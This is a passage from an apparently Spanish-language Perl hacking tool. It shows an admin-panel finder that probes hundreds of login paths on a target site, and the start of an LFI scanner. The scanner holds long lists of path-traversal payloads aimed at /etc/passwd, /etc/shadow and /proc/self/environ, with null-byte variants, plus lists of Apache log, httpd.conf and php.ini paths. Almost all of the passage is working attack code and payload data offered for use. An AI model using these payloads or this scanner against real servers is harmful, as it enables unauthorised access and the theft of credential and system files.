  838. 'admincontrol/login.html','adm/index.html','adm.html','admincontrol.asp','admin/account.asp','adminpanel.asp','webadmin.asp','webadmin/index.asp',
  839. 'webadmin/admin.asp','webadmin/login.asp','admin/admin_login.asp','admin_login.asp','panel-administracion/login.asp','adminLogin.asp',
  840. 'admin/adminLogin.asp','home.asp','admin.asp','adminarea/index.asp','adminarea/admin.asp','adminarea/login.asp','admin-login.html',
  841. 'panel-administracion/index.asp','panel-administracion/admin.asp','modelsearch/index.asp','modelsearch/admin.asp','administrator/index.asp',
  842. 'admincontrol/login.asp','adm/admloginuser.asp','admloginuser.asp','admin2.asp','admin2/login.asp','admin2/index.asp','adm/index.asp',
  843. 'adm.asp','affiliate.asp','adm_auth.asp','memberadmin.asp','administratorlogin.asp','siteadmin/login.asp','siteadmin/index.asp','siteadmin/login.html',
  844. 'admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
  845. 'memberadmin/','administratorlogin/','adm/','account.cfm','admin/account.cfm','admin/index.cfm','admin/login.cfm','admin/admin.cfm',
  846. 'admin_area/admin.cfm','admin_area/login.cfm','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
  847. 'admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.cfm','bb-admin/index.cfm','bb-admin/login.cfm','bb-admin/admin.cfm',
  848. 'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.html','admin.html','admin/cp.html','cp.html',
  849. 'administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator.html',
  850. 'moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.html','panel-administracion/login.html',
  851. 'admin/home.cfm','admin/controlpanel.cfm','admin.cfm','pages/admin/admin-login.cfm','admin/admin-login.cfm','admin-login.cfm','admin/cp.cfm','cp.cfm',
  852. 'administrator/account.cfm','administrator.cfm','login.cfm','modelsearch/login.cfm','moderator.cfm','moderator/login.cfm','administrator/login.cfm',
  853. 'moderator/admin.cfm','controlpanel.cfm','admin/account.html','adminpanel.html','webadmin.html','pages/admin/admin-login.html','admin/admin-login.html',
  854. 'webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.cfm','user.html','admincp/index.cfm','admincp/login.cfm','admincp/index.html',
  855. 'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminarea/admin.html','adminarea/login.html',
  856. 'panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admin/admin_login.html',
  857. 'admincontrol/login.html','adm/index.html','adm.html','admincontrol.cfm','admin/account.cfm','adminpanel.cfm','webadmin.cfm','webadmin/index.cfm',
  858. 'webadmin/admin.cfm','webadmin/login.cfm','admin/admin_login.cfm','admin_login.cfm','panel-administracion/login.cfm','adminLogin.cfm',
  859. 'admin/adminLogin.cfm','home.cfm','admin.cfm','adminarea/index.cfm','adminarea/admin.cfm','adminarea/login.cfm','admin-login.html',
  860. 'panel-administracion/index.cfm','panel-administracion/admin.cfm','modelsearch/index.cfm','modelsearch/admin.cfm','administrator/index.cfm',
  861. 'admincontrol/login.cfm','adm/admloginuser.cfm','admloginuser.cfm','admin2.cfm','admin2/login.cfm','admin2/index.cfm','adm/index.cfm',
  862. 'adm.cfm','affiliate.cfm','adm_auth.cfm','memberadmin.cfm','administratorlogin.cfm','siteadmin/login.cfm','siteadmin/index.cfm','siteadmin/login.html',
  863. 'admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
  864. 'memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php',
  865. 'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html',
  866. 'admin/login.html','admin/admin.html',
  867. 'admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html',
  868. 'admin/controlpanel.php','admin.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html',
  869. 'webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html',
  870. 'admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php',
  871. 'administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php',
  872. 'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.php','modelsearch/login.php','moderator.php','moderator/login.php',
  873. 'moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php',
  874. 'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html',
  875. 'webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.html',
  876. 'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html',
  877. 'moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html',
  878. 'admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpanel.html','admincontrol.html',
  879. 'panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','admin.php','adminarea/index.php',
  880. 'adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php',
  881. 'modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php','admin2/login.php','admin2/index.php',
  882. 'adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php'
  883. );
  884. #cargamos todos los Paneles con foreach
  885. foreach $finder( @paths) {
  886.  
  887.  
  888. $agente = LWP::UserAgent->new();
  889. $panelfinder = $agente->get($web."/".$finder);
  890.  
  891. if ($panelfinder->content =~ /username/ ||
  892.  $panelfinder->content =~ /Username/ ||
  893.  $panelfinder->content =~ /UserName/ ||
  894.  $panelfinder->content =~ /usuario/ ||
  895.  $panelfinder->content =~ /Usuario/ ||
  896.  $panelfinder->content =~ /user/ ||
  897.  $panelfinder->content =~ /User/ ||
  898.  $panelfinder->content =~ /password/ ||
  899.  $panelfinder->content =~ /Password/ ||
  900.  $panelfinder->content =~ /contraseña/ ||
  901.  $panelfinder->content =~ /Contraseña/ ||
  902.  $panelfinder->content =~ /senha/ ||
  903.  $panelfinder->content =~ /Senha/ ||
  904.  $panelfinder->content =~ /pass/ ||
  905.  $panelfinder->content =~ /Pass/ ||
  906.  $panelfinder->content =~ /pwd/ ||
  907.  $panelfinder->content =~ /Pwd/ ||
  908.  $panelfinder->content =~ /USERNAME/ ||
  909.  $panelfinder->content =~ /PASSWORD/ ||
  910.  $panelfinder->content =~ /Personal/ ||
  911.  $panelfinder->content =~ /Usuario/ ||
  912.  $panelfinder->content =~ /Clave/ ||
  913.  $panelfinder->content =~ /Usager/ ||
  914.  $panelfinder->content =~ /usager/ ||
  915.  $panelfinder->content =~ /Sing/ ||
  916.  $panelfinder->content =~ /passe/ ||
  917.  $panelfinder->content =~ /P\/W/ ||
  918.  $panelfinder->content =~ /Admin Password/
  919. )
  920. {  print("\n * Panel Encontrado: $web/$finder \n");} } }
  921.  
  922. if ($opciones =~ /l/|/L/) {
  923. #Lfi Scanner
  924. system("cls");
  925. system("clear");
  926. print q(
  927.  
  928.    .-..-. _       .----.        .--.                                    
  929.    : :: ::_;      `--  ;       : .--'                                    
  930.     : :: :.-..---.  .' ' .--.   `. `.  .--.  .--.  ,-.,-.,-.,-. .--. .--.
  931.     : `' ;: :: .; ` _`,`.: ..'   _`, :'  ..'' .; ; : ,. :: ,. :' '_.': ..'
  932.     `.,' :_;: ._.'`.__.':_;    `.__.'`.__.'`.__,_;:_;:_;:_;:_;`.__.':_;  
  933.         : :                                                          
  934.         :_;                                                          
  935.    
  936.  
  937.            +-++-++-+ +-++-++-++-++-++-++-+
  938.            |L||F||I| |S||c||a||n||n||e||r|
  939.            +-++-++-+ +-++-++-++-++-++-++-+
  940.  
  941.  
  942. );
  943.  
  944.  
  945. if ($web1 !~ /http/)
  946. {
  947. $web="http://".$web1."=";
  948. } else { $web=$web1; }
  949. chop $web;
  950. $proses="si";
  951.  
  952. #si lleva la web un signo de path como page.php?"="
  953. if ($web =~ /\?/) {
  954. $web=$web."=";
  955. print("\n * Analizando la Pagina... \n   ".$web."\n");
  956.  
  957. print "  * > Desea ver el Proseso?\tSi/No\n\t";
  958. $proses=<STDIN>;
  959. chop($proses);
  960.  
  961. #los paths seran los siguientes
  962. @paths=('/etc/passwd',
  963. '../etc/passwd',
  964. '../../etc/passwd',
  965. '../../../etc/passwd',
  966. '../../../../etc/passwd',
  967. '../../../../../etc/passwd',
  968. '../../../../../../etc/passwd',
  969. '../../../../../../../etc/passwd',
  970. '../../../../../../../../etc/passwd',
  971. '../../../../../../../../../etc/passwd',
  972. '../../../../../../../../../../etc/passwd',
  973. '../../../../../../../../../../../etc/passwd',
  974. '../../../../../../../../../../../../etc/passwd',
  975. '../../../../../../../../../../../../../etc/passwd',
  976. '../../../../../../../../../../../../../../etc/passwd',
  977. '../../../../../../../../../../../../../../../../etc/passwd',
  978. '../../etc/passwd%00',
  979. '../../../etc/passwd%00',
  980. '../../../../etc/passwd%00',
  981. '../../../../../etc/passwd%00',
  982. '../../../../../../etc/passwd%00',
  983. '../../../../../../../etc/passwd%00',
  984. '../../../../../../../../etc/passwd%00',
  985. '../../../../../../../../../etc/passwd%00',
  986. '../../../../../../../../../../etc/passwd%00',
  987. '../../../../../../../../../../../etc/passwd%00',
  988. '../../../../../../../../../../../../etc/passwd%00',
  989. '../../../../../../../../../../../../../etc/passwd%00',
  990. '../../../../../../../../../../../../../../etc/passwd%00',
  991. '../../../../../../../../../../../../../../../../etc/passwd%00',
  992. '../etc/shadow',
  993. '../../etc/shadow',
  994. '../../../etc/shadow',
  995. '../../../../etc/shadow',
  996. '../../../../../etc/shadow',
  997. '../../../../../../etc/shadow',
  998. '../../../../../../../etc/shadow',
  999. '../../../../../../../../etc/shadow',
  1000. '../../../../../../../../../etc/shadow',
  1001. '../../../../../../../../../../etc/shadow',
  1002. '../../../../../../../../../../../etc/shadow',
  1003. '../../../../../../../../../../../../etc/shadow',
  1004. '../../../../../../../../../../../../../etc/shadow',
  1005. '../../../../../../../../../../../../../../etc/shadow',
  1006. '/proc/self/environ',
  1007. '../proc/self/environ',
  1008. '../../proc/self/environ',
  1009. '../../../proc/self/environ',
  1010. '../../../../proc/self/environ',
  1011. '../../../../../proc/self/environ',
  1012. '../../../../../../proc/self/environ',
  1013. '../../../../../../../proc/self/environ',
  1014. '../../../../../../../../proc/self/environ',
  1015. '../../../../../../../../../proc/self/environ',
  1016. '../../../../../../../../../../proc/self/environ',
  1017. '../../../../../../../../../../../proc/self/environ',
  1018. '/proc/self/environ%00',
  1019. '../proc/self/environ%00',
  1020. '../../proc/self/environ%00',
  1021. '../../../proc/self/environ%00',
  1022. '../../../../proc/self/environ%00',
  1023. '../../../../../proc/self/environ%00',
  1024. '../../../../../../proc/self/environ%00',
  1025. '../../../../../../../proc/self/environ%00',
  1026. '../../../../../../../../proc/self/environ%00',
  1027. '../../../../../../../../../proc/self/environ%00',
  1028. '../../../../../../../../../../proc/self/environ%00',
  1029. '../../../../../../../../../../../proc/self/environ%00',
  1030. '/etc/shadow%00',
  1031. '../etc/shadow%00',
  1032. '../../etc/shadow%00',
  1033. '../../../etc/shadow%00',
  1034. '../../../../etc/shadow%00',
  1035. '../../../../../etc/shadow%00',
  1036. '../../../../../../etc/shadow%00',
  1037. '../../../../../../../etc/shadow%00',
  1038. '../../../../../../../../etc/shadow%00',
  1039. '../../../../../../../../../etc/shadow%00',
  1040. '../../../../../../../../../../etc/shadow%00',
  1041. '../../../../../../../../../../../etc/shadow%00',
  1042. '../../../../../../../../../../../../etc/shadow%00',
  1043. '../../../../../../../../../../../../../etc/shadow%00',
  1044. '../../../../../../../../../../../../../../etc/shadow%00',
  1045. '/etc/group',
  1046. '../etc/group',
  1047. '../../etc/group',
  1048. '../../../etc/group',
  1049. '../../../../etc/group',
  1050. '../../../../../etc/group',
  1051. '../../../../../../etc/group',
  1052. '../../../../../../../etc/group',
  1053. '../../../../../../../../etc/group',
  1054. '../../../../../../../../../etc/group',
  1055. '../../../../../../../../../../etc/group',
  1056. '../../../../../../../../../../../etc/group',
  1057. '../../../../../../../../../../../../etc/group',
  1058. '../../../../../../../../../../../../../etc/group',
  1059. '../../../../../../../../../../../../../../etc/group',
  1060. '/etc/group%00',
  1061. '../etc/group%00',
  1062. '../../etc/group%00',
  1063. '../../../etc/group%00',
  1064. '../../../../etc/group%00',
  1065. '../../../../../etc/group%00',
  1066. '../../../../../../etc/group%00',
  1067. '../../../../../../../etc/group%00',
  1068. '../../../../../../../../etc/group%00',
  1069. '../../../../../../../../../etc/group%00',
  1070. '../../../../../../../../../../etc/group%00',
  1071. '../../../../../../../../../../../etc/group%00',
  1072. '../../../../../../../../../../../../etc/group%00',
  1073. '../../../../../../../../../../../../../etc/group%00',
  1074. '../../../../../../../../../../../../../../etc/group%00',
  1075. '/etc/security/group',
  1076. '../etc/security/group',
  1077. '../../etc/security/group',
  1078. '../../../etc/security/group',
  1079. '../../../../etc/security/group',
  1080. '../../../../../etc/security/group',
  1081. '../../../../../../etc/security/group',
  1082. '../../../../../../../etc/security/group',
  1083. '../../../../../../../../etc/security/group',
  1084. '../../../../../../../../../etc/security/group',
  1085. '../../../../../../../../../../etc/security/group',
  1086. '../../../../../../../../../../../etc/security/group',
  1087. '/etc/security/group%00',
  1088. '../etc/security/group%00',
  1089. '../../etc/security/group%00',
  1090. '../../../etc/security/group%00',
  1091. '../../../../etc/security/group%00',
  1092. '../../../../../etc/security/group%00',
  1093. '../../../../../../etc/security/group%00',
  1094. '../../../../../../../etc/security/group%00',
  1095. '../../../../../../../../etc/security/group%00',
  1096. '../../../../../../../../../etc/security/group%00',
  1097. '../../../../../../../../../../etc/security/group%00',
  1098. '../../../../../../../../../../../etc/security/group%00',
  1099. '/etc/security/passwd',
  1100. '../etc/security/passwd',
  1101. '../../etc/security/passwd',
  1102. '../../../etc/security/passwd',
  1103. '../../../../etc/security/passwd',
  1104. '../../../../../etc/security/passwd',
  1105. '../../../../../../etc/security/passwd',
  1106. '../../../../../../../etc/security/passwd',
  1107. '../../../../../../../../etc/security/passwd',
  1108. '../../../../../../../../../etc/security/passwd',
  1109. '../../../../../../../../../../etc/security/passwd',
  1110. '../../../../../../../../../../../etc/security/passwd',
  1111. '../../../../../../../../../../../../etc/security/passwd',
  1112. '../../../../../../../../../../../../../etc/security/passwd',
  1113. '../../../../../../../../../../../../../../etc/security/passwd',
  1114. '/etc/security/passwd%00',
  1115. '../etc/security/passwd%00',
  1116. '../../etc/security/passwd%00',
  1117. '../../../etc/security/passwd%00',
  1118. '../../../../etc/security/passwd%00',
  1119. '../../../../../etc/security/passwd%00',
  1120. '../../../../../../etc/security/passwd%00',
  1121. '../../../../../../../etc/security/passwd%00',
  1122. '../../../../../../../../etc/security/passwd%00',
  1123. '../../../../../../../../../etc/security/passwd%00',
  1124. '../../../../../../../../../../etc/security/passwd%00',
  1125. '../../../../../../../../../../../etc/security/passwd%00',
  1126. '../../../../../../../../../../../../etc/security/passwd%00',
  1127. '../../../../../../../../../../../../../etc/security/passwd%00',
  1128. '../../../../../../../../../../../../../../etc/security/passwd%00',
  1129. '/etc/security/user',
  1130. '../etc/security/user',
  1131. '../../etc/security/user',
  1132. '../../../etc/security/user',
  1133. '../../../../etc/security/user',
  1134. '../../../../../etc/security/user',
  1135. '../../../../../../etc/security/user',
  1136. '../../../../../../../etc/security/user',
  1137. '../../../../../../../../etc/security/user',
  1138. '../../../../../../../../../etc/security/user',
  1139. '../../../../../../../../../../etc/security/user',
  1140. '../../../../../../../../../../../etc/security/user',
  1141. '../../../../../../../../../../../../etc/security/user',
  1142. '../../../../../../../../../../../../../etc/security/user',
  1143. '/etc/security/user%00',
  1144. '../etc/security/user%00',
  1145. '../../etc/security/user%00',
  1146. '../../../etc/security/user%00',
  1147. '../../../../etc/security/user%00',
  1148. '../../../../../etc/security/user%00',
  1149. '../../../../../../etc/security/user%00',
  1150. '../../../../../../../etc/security/user%00',
  1151. '../../../../../../../../etc/security/user%00',
  1152. '../../../../../../../../../etc/security/user%00',
  1153. '../../../../../../../../../../etc/security/user%00',
  1154. '../../../../../../../../../../../etc/security/user%00',
  1155. '../../../../../../../../../../../../etc/security/user%00',
  1156. '../../../../../../../../../../../../../etc/security/user%00',
  1157. '/etc/security/environ',
  1158. '../etc/security/environ',
  1159. '../../etc/security/environ',
  1160. '../../../etc/security/environ',
  1161. '../../../../etc/security/environ',
  1162. '../../../../../etc/security/environ',
  1163. '../../../../../../etc/security/environ',
  1164. '../../../../../../../etc/security/environ',
  1165. '../../../../../../../../etc/security/environ',
  1166. '../../../../../../../../../etc/security/environ',
  1167. '../../../../../../../../../../etc/security/environ',
  1168. '../../../../../../../../../../../etc/security/environ',
  1169. '../../../../../../../../../../../../etc/security/environ',
  1170. '../../../../../../../../../../../../../etc/security/environ',
  1171. '/etc/security/environ%00',
  1172. '../etc/security/environ%00',
  1173. '../../etc/security/environ%00',
  1174. '../../../etc/security/environ%00',
  1175. '../../../../etc/security/environ%00',
  1176. '../../../../../etc/security/environ%00',
  1177. '../../../../../../etc/security/environ%00',
  1178. '../../../../../../../etc/security/environ%00',
  1179. '../../../../../../../../etc/security/environ%00',
  1180. '../../../../../../../../../etc/security/environ%00',
  1181. '../../../../../../../../../../etc/security/environ%00',
  1182. '../../../../../../../../../../../etc/security/environ%00',
  1183. '../../../../../../../../../../../../etc/security/environ%00',
  1184. '../../../../../../../../../../../../../etc/security/environ%00',
  1185. '/etc/security/limits',
  1186. '../etc/security/limits',
  1187. '../../etc/security/limits',
  1188. '../../../etc/security/limits',
  1189. '../../../../etc/security/limits',
  1190. '../../../../../etc/security/limits',
  1191. '../../../../../../etc/security/limits',
  1192. '../../../../../../../etc/security/limits',
  1193. '../../../../../../../../etc/security/limits',
  1194. '../../../../../../../../../etc/security/limits',
  1195. '../../../../../../../../../../etc/security/limits',
  1196. '../../../../../../../../../../../etc/security/limits',
  1197. '../../../../../../../../../../../../etc/security/limits',
  1198. '../../../../../../../../../../../../../etc/security/limits',
  1199. '/etc/security/limits%00',
  1200. '../etc/security/limits%00',
  1201. '../../etc/security/limits%00',
  1202. '../../../etc/security/limits%00',
  1203. '../../../../etc/security/limits%00',
  1204. '../../../../../etc/security/limits%00',
  1205. '../../../../../../etc/security/limits%00',
  1206. '../../../../../../../etc/security/limits%00',
  1207. '../../../../../../../../etc/security/limits%00',
  1208. '../../../../../../../../../etc/security/limits%00',
  1209. '../../../../../../../../../../etc/security/limits%00',
  1210. '../../../../../../../../../../../etc/security/limits%00',
  1211. '../../../../../../../../../../../../etc/security/limits%00',
  1212. '../../../../../../../../../../../../../etc/security/limits%00',
  1213. '../usr/lib/security/mkuser.default',
  1214. '../../usr/lib/security/mkuser.default',
  1215. '../../../usr/lib/security/mkuser.default',
  1216. '../../../../usr/lib/security/mkuser.default',
  1217. '../../../../../usr/lib/security/mkuser.default',
  1218. '../../../../../../usr/lib/security/mkuser.default',
  1219. '../../../../../../../usr/lib/security/mkuser.default',
  1220. '../../../../../../../../usr/lib/security/mkuser.default',
  1221. '../../../../../../../../../usr/lib/security/mkuser.default',
  1222. '../../../../../../../../../../usr/lib/security/mkuser.default',
  1223. '../../../../../../../../../../../usr/lib/security/mkuser.default',
  1224. '../../../../../../../../../../../../usr/lib/security/mkuser.default',
  1225. '../../../../../../../../../../../../../usr/lib/security/mkuser.default',
  1226. '../usr/lib/security/mkuser.default%00',
  1227. '../../usr/lib/security/mkuser.default%00',
  1228. '../../../usr/lib/security/mkuser.default%00',
  1229. '../../../../usr/lib/security/mkuser.default%00',
  1230. '../../../../../usr/lib/security/mkuser.default%00',
  1231. '../../../../../../usr/lib/security/mkuser.default%00',
  1232. '../../../../../../../usr/lib/security/mkuser.default%00',
  1233. '../../../../../../../../usr/lib/security/mkuser.default%00',
  1234. '../../../../../../../../../usr/lib/security/mkuser.default%00',
  1235. '../../../../../../../../../../usr/lib/security/mkuser.default%00',
  1236. '../../../../../../../../../../../usr/lib/security/mkuser.default%00',
  1237. '../../../../../../../../../../../../usr/lib/security/mkuser.default%00',
  1238. '../../../../../../../../../../../../../usr/lib/security/mkuser.default%00'); }
  1239. #si no lleva = significa que sera una web normal
  1240. #para provar los siguientes paths
  1241. elsif ($web !~ /\?/){
  1242. print("\n * Analizando la Pagina... \n   ".$web."\n");
  1243.  
  1244. @paths=('/etc/passwd',
  1245. '/etc/shadow',
  1246. '/etc/cgi-bin',
  1247. '/etc/group',
  1248. '/etc/security/group',
  1249. '/etc/security/passwd',
  1250. '/etc/security/user',
  1251. '/etc/security/environ',
  1252. '/etc/security/limits',
  1253. '/usr/lib/security/mkuser.default',
  1254. '/apache/logs/access.log',
  1255. '/apache/logs/error.log',
  1256. '/apache/logs/access.log',
  1257. '/apache/logs/error.log',
  1258. '/apache/logs/access.log',
  1259. '/etc/httpd/logs/acces_log',
  1260. '/etc/httpd/logs/acces.log',
  1261. '/etc/httpd/logs/error_log',
  1262. '/etc/httpd/logs/error.log',
  1263. '/var/www/logs/access_log',
  1264. '/var/www/logs/access.log',
  1265. '/usr/local/apache/logs/access_ log',
  1266. '/usr/local/apache/logs/access. log',
  1267. '/var/log/apache/access_log',
  1268. '/var/log/apache2/access_log',
  1269. '/var/log/apache/access.log',
  1270. '/var/log/apache2/access.log',
  1271. '/var/log/access_log',
  1272. '/var/log/access.log',
  1273. '/var/www/logs/error_log',
  1274. '/var/www/logs/error.log',
  1275. '/usr/local/apache/logs/error_log',
  1276. '/usr/local/apache/logs/error.log',
  1277. '/var/log/apache/error_log',
  1278. '/var/log/apache2/error_log',
  1279. '/var/log/apache/error.log',
  1280. '/var/log/apache2/error.log',
  1281. '/var/log/error_log',
  1282. '/var/log/error.log',
  1283. '/var/log/httpd/access_log',
  1284. '/var/log/httpd/error_log',
  1285. '/var/log/httpd/access_log',
  1286. '/var/log/httpd/error_log',
  1287. '/apache/logs/error.log',
  1288. '/apache/logs/access.log',
  1289. '/apache/logs/error.log',
  1290. '/apache/logs/access.log',
  1291. '/apache/logs/error.log',
  1292. '/apache/logs/access.log',
  1293. '/apache/logs/error.log',
  1294. '/apache/logs/access.log',
  1295. '/apache/logs/error.log',
  1296. '/apache/logs/access.log',
  1297. '/apache2/logs/error.log',
  1298. '/apache2/logs/access.log',
  1299. '/apache2/logs/error.log',
  1300. '/apache2/logs/access.log',
  1301. '/apache2/logs/error.log',
  1302. '/apache2/logs/access.log',
  1303. '/apache2/logs/error.log',
  1304. '/apache2/logs/access.log',
  1305. '/apache2/logs/error.log',
  1306. '/apache2/logs/access.log',
  1307. '/logs/error.log',
  1308. '/logs/access.log',
  1309. '/logs/error.log',
  1310. '/logs/access.log',
  1311. '/logs/error.log',
  1312. '/logs/access.log',
  1313. '/logs/error.log',
  1314. '/logs/access.log',
  1315. '/logs/error.log',
  1316. '/logs/access.log',
  1317. '/etc/httpd/logs/acces_log',
  1318. '/etc/httpd/logs/acces.log',
  1319. '/etc/httpd/logs/error_log',
  1320. '/etc/httpd/logs/error.log',
  1321. '/usr/local/apache/logs/access_log',
  1322. '/usr/local/apache/logs/access.log',
  1323. '/usr/local/apache/logs/error_log',
  1324. '/usr/local/apache/logs/error.log',
  1325. '/usr/local/apache2/logs/access_log',
  1326. '/usr/local/apache2/logs/access.log',
  1327. '/usr/local/apache2/logs/error_log',
  1328. '/usr/local/apache2/logs/error.log',
  1329. '/var/www/logs/access_log',
  1330. '/var/www/logs/access.log',
  1331. '/var/www/logs/error_log',
  1332. '/var/www/logs/error.log',
  1333. '/var/log/httpd/access_log',
  1334. '/var/log/httpd/access.log',
  1335. '/var/log/httpd/error_log',
  1336. '/var/log/httpd/error.log',
  1337. '/var/log/apache/access_log',
  1338. '/var/log/apache/access.log',
  1339. '/var/log/apache/error_log',
  1340. '/var/log/apache/error.log',
  1341. '/var/log/apache2/access_log',
  1342. '/var/log/apache2/access.log',
  1343. '/var/log/apache2/error_log',
  1344. '/var/log/apache2/error.log',
  1345. '/var/log/access_log',
  1346. '/var/log/access.log',
  1347. '/var/log/error_log',
  1348. '/var/log/error.log',
  1349. '/opt/lampp/logs/access_log',
  1350. '/opt/lampp/logs/error_log',
  1351. '/opt/xampp/logs/access_log',
  1352. '/opt/xampp/logs/error_log',
  1353. '/opt/lampp/logs/access.log',
  1354. '/opt/lampp/logs/error.log',
  1355. '/opt/xampp/logs/access.log',
  1356. '/opt/xampp/logs/error.log',
  1357. '/Program Files\Apache Group\Apache\logs\access.log',
  1358. '/Program Files\Apache Group\Apache\logs\error.log',
  1359. '/apache/logs/error.log',
  1360. '/apache/logs/access.log',
  1361. '/apache/logs/error.log',
  1362. '/apache/logs/access.log',
  1363. '/apache/logs/error.log',
  1364. '/apache/logs/access.log',
  1365. '/apache/logs/error.log',
  1366. '/apache/logs/access.log',
  1367. '/apache/logs/error.log',
  1368. '/apache/logs/access.log',
  1369. '/apache/logs/error.log',
  1370. '/apache/logs/access.log',
  1371. '/logs/error.log',
  1372. '/logs/access.log',
  1373. '/logs/error.log',
  1374. '/logs/access.log',
  1375. '/logs/error.log',
  1376. '/logs/access.log',
  1377. '/logs/error.log',
  1378. '/logs/access.log',
  1379. '/logs/error.log',
  1380. '/logs/access.log',
  1381. '/logs/error.log',
  1382. '/logs/access.log',
  1383. '/etc/httpd/logs/acces_log',
  1384. '/etc/httpd/logs/acces.log',
  1385. '/etc/httpd/logs/error_log',
  1386. '/etc/httpd/logs/error.log',
  1387. '/var/www/logs/access_log',
  1388. '/var/www/logs/access.log',
  1389. '/usr/local/apache/logs/access_log',
  1390. '/usr/local/apache/logs/access.log',
  1391. '/var/log/apache/access_log',
  1392. '/var/log/apache/access.log',
  1393. '/var/log/access_log',
  1394. '/var/www/logs/error_log',
  1395. '/var/www/logs/error.log',
  1396. '/usr/local/apache/logs/error_log',
  1397. '/usr/local/apache/logs/error.log',
  1398. '/var/log/apache/error_log',
  1399. '/var/log/apache/error.log',
  1400. '/var/log/access_log',
  1401. '/var/log/error_log',
  1402. '/usr/local/apache/conf/httpd.conf',
  1403. '/usr/local/apache2/conf/httpd.conf',
  1404. '/etc/httpd/conf/httpd.conf',
  1405. '/etc/apache/conf/httpd.conf',
  1406. '/usr/local/etc/apache/conf/httpd.conf',
  1407. '/etc/apache2/httpd.conf',
  1408. '/usr/local/apache/conf/httpd.conf',
  1409. '/usr/local/apache2/conf/httpd.conf',
  1410. '/usr/local/apache/httpd.conf',
  1411. '/usr/local/apache2/httpd.conf',
  1412. '/usr/local/httpd/conf/httpd.conf',
  1413. '/usr/local/etc/apache/conf/httpd.conf',
  1414. '/usr/local/etc/apache2/conf/httpd.conf',
  1415. '/usr/local/etc/httpd/conf/httpd.conf',
  1416. '/usr/apache2/conf/httpd.conf',
  1417. '/usr/apache/conf/httpd.conf',
  1418. '/usr/local/apps/apache2/conf/httpd.conf',
  1419. '/usr/local/apps/apache/conf/httpd.conf',
  1420. '/etc/apache/conf/httpd.conf',
  1421. '/etc/apache2/conf/httpd.conf',
  1422. '/etc/httpd/conf/httpd.conf',
  1423. '/etc/http/conf/httpd.conf',
  1424. '/etc/apache2/httpd.conf',
  1425. '/etc/httpd/httpd.conf',
  1426. '/etc/http/httpd.conf',
  1427. '/etc/httpd.conf',
  1428. '/opt/apache/conf/httpd.conf',
  1429. '/opt/apache2/conf/httpd.conf',
  1430. '/var/www/conf/httpd.conf',
  1431. '/private/etc/httpd/httpd.conf',
  1432. '/private/etc/httpd/httpd.conf.default',
  1433. '/Volumes/webBackup/opt/apache2/conf/httpd.conf',
  1434. '/Volumes/webBackup/private/etc/httpd/httpd.conf',
  1435. '/Volumes/webBackup/private/etc/httpd/httpd.conf.default',
  1436. '/Program Files\Apache Group\Apache\conf\httpd.conf',
  1437. '/Program Files\Apache Group\Apache2\conf\httpd.conf',
  1438. '/Program Files\xampp\apache\conf\httpd.conf',
  1439. '/usr/local/php/httpd.conf.php',
  1440. '/usr/local/php4/httpd.conf.php',
  1441. '/usr/local/php5/httpd.conf.php',
  1442. '/usr/local/php/httpd.conf',
  1443. '/usr/local/php4/httpd.conf',
  1444. '/usr/local/php5/httpd.conf',
  1445. '/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf',
  1446. '/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf',
  1447. '/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf',
  1448. '/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php',
  1449. '/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php',
  1450. '/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php',
  1451. '/usr/local/etc/apache/vhosts.conf',
  1452. '/etc/php.ini',
  1453. '/bin/php.ini',
  1454. '/etc/httpd/php.ini',
  1455. '/usr/lib/php.ini',
  1456. '/usr/lib/php/php.ini',
  1457. '/usr/local/etc/php.ini',
  1458. '/usr/local/lib/php.ini',
  1459. '/usr/local/php/lib/php.ini',
  1460. '/usr/local/php4/lib/php.ini',
  1461. '/usr/local/php5/lib/php.ini',
